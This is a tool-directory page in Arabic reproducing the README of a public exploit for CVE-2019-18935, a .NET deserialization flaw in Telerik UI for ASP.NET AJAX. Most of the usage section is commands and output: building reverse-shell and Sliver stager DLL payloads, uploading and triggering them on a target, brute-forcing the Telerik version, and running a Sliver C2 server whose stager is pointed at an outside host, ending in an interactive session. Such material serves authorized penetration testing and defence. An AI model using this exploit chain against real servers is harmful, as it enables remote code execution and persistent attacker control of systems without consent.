Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2019-18935 — استغلال RCE لثغرة إلغاء تسلسل JSON في .NET ضمن Telerik UI لـ ASP.NET AJAX. | Kitploit
أدوات/GitHubGitHub/noperator/cve-2019-18935
تحليل الثغرات الأمنيةالاستغلالشيل كوداستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرةالفريق الأحمرتطوير الحمولات
GitHubnoperator/cve-2019-18935

CVE-2019-18935

استغلال RCE لثغرة إلغاء تسلسل JSON في .NET ضمن Telerik UI لـ ASP.NET AJAX.

عرض المستودع
37388منذ 4 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2019-18935

برنامج استغلال (Proof-of-Concept) لثغرة إلغاء تسلسل JSON في .NET ضمن Telerik UI for ASP.NET AJAX تتيح تنفيذ التعليمات البرمجية عن بُعد.

الوصف

Telerik UI for ASP.NET AJAX هي مجموعة مكونات واجهة مستخدم مستخدمة على نطاق واسع لتطبيقات الويب. وهي تقوم بإلغاء تسلسل كائنات JSON بشكل غير آمن مما يؤدي إلى تنفيذ تعليمات برمجية عشوائية عن بُعد على المضيف الأساسي للبرنامج. لمزيد من المعلومات، انظر:

  • محاضرة DerpCon .NET Roulette (الشرائح) والتي تستعرض أساسيات إضافية حول استغلال إلغاء التسلسل غير الآمن، وتطبّق ذلك على هذا الاستغلال، وتستعرض بعض النصائح والحيل للحصول على قوائم أوامر (shells) على تطبيقات الويب ASP.NET.
  • الكتابة الكاملة في Bishop Fox، بما في ذلك شرح كامل لهذه الثغرة وتفاصيل استغلال هذه المشكلة (إلى جانب تعليمات التصحيح).

البدء

المتطلبات الأساسية

ستحتاج إلى تثبيت Visual Studio و.NET Framework SDK لتجميع حمولات DLL لتجميعات .NET ذات الوضع المختلط باستخدام build-dll.bat.

التثبيت

root@kitploit:~
git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
python3 -m venv env
source env/bin/activate
python3 -m pip install -U pip
python3 -m pip install -r requirements.txt

يستخدم هذا الاستغلال منطق التشفير من RAU_crypto. تعتمد فئة RAUCipher داخل RAU_crypto.py على PyCryptodome، وهو بديل مباشر لوحدة PyCrypto المهجورة. تسبب PyCryptodome وPyCrypto مشاكل عند تثبيتهما في نفس البيئة، لذا فإن أفضل طريقة لتلبية هذا الاعتماد هي تثبيت الوحدة داخل بيئة افتراضية، كما هو موضح أعلاه.

الإعداد

وجّه السطر 17 من build-dll.bat إلى مسار تثبيت Visual Studio لديك.

root@kitploit:~
set VSPATH=C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build

الاستخدام

root@kitploit:~
$ python3 CVE-2019-18935.py -h
usage: CVE-2019-18935.py [-h] [-t] [-d] [-r FILENAME_REMOTE] [-s SMB_SERVER]
                         [-v UI_VERSION] [-n NET_VERSION] [-p PAYLOAD]
                         [-f FOLDER] -u URL

Exploit for CVE-2019-18935, a .NET JSON deserialization vulnerability in
Telerik UI for ASP.NET AJAX.

optional arguments:
  -h, --help          show this help message and exit
  -t                  just upload a file
  -d                  just deserialize
  -r FILENAME_REMOTE  remote payload name, for optional use with -d
  -s SMB_SERVER       remote SMB server, for optional use with -d
  -v UI_VERSION       software version
  -n NET_VERSION      .NET version
  -p PAYLOAD          mixed mode assembly DLL
  -f FOLDER           destination folder on target
  -u URL              https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau

تجميع حمولة DLL لتجميعة .NET بالوضع المختلط

تتطلب بعض الحمولات (مثل reverse-shell.c وsliver-stager.c) ضبط حقلي HOST وPORT ليشيرا إلى خادم C2 الخاص بك—تأكد من القيام بذلك!

في بيئة Windows مع تثبيت Visual Studio، استخدم build-dll.bat لإنشاء مكتبات DLL لتجميعات الوضع المختلط 32- و64-بت لاستخدامها كحمولة أثناء إلغاء التسلسل. يمكنك اختيارياً تحديد بنية وحدة المعالجة المركزية الهدف كوسيطة سطر أوامر ثانية (مثل x86).

root@kitploit:~
build-dll.bat sleep.c

رفع الحمولة إلى الهدف وتحميلها في التطبيق

مرّر ملف DLL الذي تم إنشاؤه أعلاه إلى CVE-2019-18935.py، والذي سيرفع ملف DLL إلى دليل على الخادم الهدف (شريطة أن يكون لخادم الويب أذونات كتابة في ذلك الدليل) ثم يحمّل ملف DLL في التطبيق عبر استغلال إلغاء التسلسل غير الآمن.

root@kitploit:~
$ python3 CVE-2019-18935.py -v <VERSION> -p payloads/sleep-2019121205271355-x86.dll -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau
[*] Local payload name:  sleep-2019121205271355-x86.dll
[*] Destination folder:  C:\Windows\Temp
[*] Remote payload name: 1576142987.918625.dll

{'fileInfo': {'ContentLength': 75264,
              'ContentType': 'application/octet-stream',
              'DateJson': '1970-01-01T00:00:00.000Z',
              'FileName': '1576142987.918625.dll',
              'Index': 0},
 'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, '
                                     'Telerik.Web.UI, Version=<VERSION>, '
                                     'Culture=neutral, '
                                     'PublicKeyToken=<TOKEN>',
              'TempFileName': '1576142987.918625.dll'}}

[*] Triggering deserialization...

<title>Runtime Error</title>
<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Runtime Error</i> </h2></span>
...omitted for brevity...

[*] Response time: 13.01 seconds

في المثال أعلاه، استغرق التطبيق 10 ثوانٍ على الأقل للاستجابة، مما يشير إلى أن حمولة DLL نجحت في استدعاء Sleep(10000).

تخمين إصدار Telerik UI بالقوة الغاشمة

كما هو موضح في محاضرة DerpCon .NET Roulette (39:46)، يمكننا تخمين إصدار Telerik UI بالقوة الغاشمة عن طريق تحديد الإصدار الرئيسي فقط لتجميعة Telerik.Web.UI (أي الجزء 2017 من سلسلة الإصدار الكاملة 2017.2.503.40) عند رفع ملف. تقلل هذه التقنية بشكل كبير من مساحة البحث مقارنة بتخمين كل إصدار محدد من هذا البرنامج بالقوة الغاشمة — وكفائدة إضافية، يمكنها حتى اكتشاف إصدارات غير مدرجة صراحةً في سجل الإصدارات لهذا البرنامج. تعرّف على المزيد حول إصدارات تجميعات .NET على MSDN.

root@kitploit:~
$ for YEAR in $(seq 2013 2018); do
    echo -n "$YEAR: "
    python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau 2>/dev/null |
    grep -oE "Telerik.Web.UI, Version=$YEAR\.[0-9\.]+" ||
    echo
done

2013:
2014:
2015:
2016:
2017: Telerik.Web.UI, Version=2017.2.503.40
2018:

الزرع باستخدام إطار عمل Sliver C2

تستقبل حمولة المرحلة sliver-stager.c المخصصة لـ Sliver وتنفذ شيل كود Sliver (المرحلة) من خادم Sliver (خادم المراحل)، وفقاً لبروتوكول المراحل في Metasploit. لمزيد من التفاصيل حول كيفية عمل ذلك، اقرأ الترويسة في مصدر الحمولة.

ابدأ تشغيل خادم Sliver. مزيد من المعلومات حول إعداد الخادم هنا.

root@kitploit:~
MINGW_PATH='/usr/bin'  # Or wherever MinGW is located.
export SLIVER_CC_32="$MINGW_PATH/i686-w64-mingw32-gcc"
export SLIVER_CC_64="$MINGW_PATH/x86_64-w64-mingw32-gcc"
./sliver-server

افتح نقطة نهاية C2 (نستخدم مستمع mTLS هنا، لكن يمكنك أيضاً استخدام HTTP أو DNS) على خادم Sliver، وأنشئ ملف تعريف زرع (implant) وأنشئ مستمع مراحل مرتبطاً بهذا الملف التعريفي. مزيد من المعلومات حول الحمولات المرحلية هنا. لاحظ أننا لا ننشئ مرحلة Sliver باستخدام generate stager كما توثق Sliver؛ بل نستخدم sliver-stager.c المخصص لدينا.

⚠️ تحذير: إرسال مرحلة ببنية وحدة معالجة مركزية خاطئة سيؤدي إلى تعطل العملية الهدف! على سبيل المثال، إذا كان الهدف يعمل بإصدار 32-بت من Telerik UI وأرسل خادم المراحل مرحلة 64-بت إلى مرحلة 32-بت، فستتعطل عملية خادم الويب. في المثال التالي، ننشئ شيل كود 32-بت — لكن يجب مطابقته مع بنية وحدة المعالجة المركزية لهدفك باستخدام علامة --arch في أمر new-profile.

root@kitploit:~
sliver > mtls
[*] Starting mTLS listener ...
[*] Successfully started job #1

sliver > new-profile --mtls <C2-ENDPOINT>:<PORT> --arch x86 --format shellcode --profile-name shellcode-32 --skip-symbols
[*] Saved new profile shellcode-32

sliver > stage-listener --url tcp://<STAGING-SERVER>:<PORT> --profile shellcode-32
[*] No builds found for profile shellcode-32, generating a new one
[*] Job 2 (tcp) started

عيّن المضيف والمنفذ في مصدر مرحلة Sliver ليشيرا إلى خادم Sliver (معروض مثال لخادم أدناه).

root@kitploit:~
sed -Ei .bu 's/<HOST>/sliverserver.bishopfox.com/; s/<PORT>/443/' sliver-stager.c

قم بتجميع حمولة مرحلة Sliver، وارفع الحمولة إلى الهدف وحمّلها في التطبيق (كل ذلك وفقاً لأقسام الاستخدام السابقة في هذا README).

root@kitploit:~
> .\build-dll.bat sliver-stager.c x86

$ python3 CVE-2019-18935.py -v 2017 -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau -p payloads/sliver-stager-2020080514261722-x86.dll

إذا سارت الأمور على ما يرام (هل قمت باستكشاف الأخطاء لهذا الهدف؟)، سترى جلسة تم إنشاؤها في نافذة خادم Sliver يمكنك استخدامها للتفاعل مع الهدف.

root@kitploit:~
[*] Session #1 AFRAID_COMPUTER - <REMOTE-ADDRESS> (DESKTOP-D19S4Q2) - windows/386 - Wed, 05 Aug 2020 15:58:27 UTC

sliver > use 1

[*] Active session AFRAID_COMPUTER (1)

sliver (AFRAID_COMPUTER) > help

Commands:
=========
  clear  clear the screen
  exit   exit the shell
  help   use 'help [command]' for command help
  ...
  whoami             Get session user execution context

sliver (AFRAID_COMPUTER) > whoami

DESKTOP-D19S4Q2\tester

استكشاف الأخطاء وإصلاحها

  • كل حمولة تعمل مرة واحدة فقط — لا يمكن لفئة AssemblyInstaller في .NET تحميل عدة تجميعات .NET بنفس اسم التجميعة (يختلف عن اسم الملف). ستحتاج إلى تجميع ورفع واحدة جديدة في كل مرة تريد فيها أن ينام الهدف أو يعاود الاتصال، إلخ.
  • تأكد من أنك تستهدف بنية وحدة المعالجة المركزية الصحيحة (32- أو 64-بت). قد يتطلب ذلك بعض التخمين؛ حمولة النوم (sleep) مفيدة هنا.
  • انتبه إلى قواعد تصفية الاتصالات الصادرة على شبكة الهدف عند محاولة بدء اتصال TCP عكسي إلى خادم C2 الخاص بك. اختر منفذ TCP مسموحاً به بشكل شائع، مثل 443.

محتوى ختامي

إخلاء المسؤولية القانوني

استخدام هذه الأداة لمهاجمة أهداف دون موافقة مسبقة متبادلة غير قانوني. تقع على عاتق المستخدم النهائي مسؤولية الامتثال لجميع القوانين المحلية والولائية والاتحادية المعمول بها. لا يتحمل المطورون أي مسؤولية ولا يتحملون المسؤولية عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج.

شكر وتقدير

@mwulftange هو من اكتشف هذه الثغرة في البداية. كتب @bao7uo كل منطق كسر تشفير RadAsyncUpload، مما أتاح التلاعب بكائن إعداد رفع الملف في rauPostData وبالتالي استغلال إلغاء التسلسل غير الآمن لهذا الكائن. كتب @lesnuages التكرار الأول لحمولة مرحلة Sliver.

انظر أيضًا

نشرات حكومية

  • 28 تموز 2021: CISA | أهم الثغرات المستغلة بشكل روتيني
  • 20 تشرين الأول 2020: NSA | جهات فاعلة ترعاها الدولة الصينية تستغل ثغرات معروفة علناً
  • 19 حزيران 2020: ACSC | اختراقات النسخ واللصق – التكتيكات والتقنيات والإجراءات المستخدمة لاستهداف شبكات أسترالية متعددة
  • 22 أيار 2020: ACSC | ثغرة تنفيذ الأوامر عن بُعد تُستغل بنشاط في إصدارات Telerik UI المعرضة للخطر من قبل جهات فاعلة متطورة

تقارير برامج مكافآت الثغرات

  • HackerOne Report #1174185 (@un4gi)
  • HackerOne Report #838196 (@sw33tLie)
  • HackerOne Report #913695 (@un4gi)

المهام المتبقية

  • إضافة حمولة لرفع وتنفيذ زرع Sliver
  • تعديل حمولة C لتشغيل أمر واحد اختيارياً بدلاً من فتح قشرة تفاعلية
  • تعديل اسم التجميعة لملف DLL المُجمَّع مسبقاً لتجنب إعادة الترجمة لنفس الهدف
  • توضيح التخمين بالقوة الغاشمة لإصدارات Telerik UI الرئيسية (أي جزء السنة من سلسلة الإصدار)

الرخصة

هذا المشروع مرخّص بموجب رخصة Apache.

تنزيل الأداة